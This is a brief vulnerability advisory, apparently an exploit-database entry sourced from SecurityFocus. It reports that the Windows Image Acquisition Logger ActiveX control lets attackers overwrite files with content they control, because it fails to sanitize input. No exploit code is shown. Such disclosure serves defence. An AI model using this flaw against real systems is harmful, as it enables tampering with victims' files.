Microsoft Windows - Image Acquisition Logger ActiveX Control Arbitrary File Overwrite (1)

                source: http://www.securityfocus.com/bid/31069/info

Microsoft Windows Image Acquisition Logger ActiveX control is prone to a vulnerability that lets attackers overwrite files with arbitrary, attacker-controlled content. The issue occurs because the control fails to sanitize user-supplied input.

An attacker can exploit this issue to overwrite files with attacker-supplied data, which will aid in further attacks.
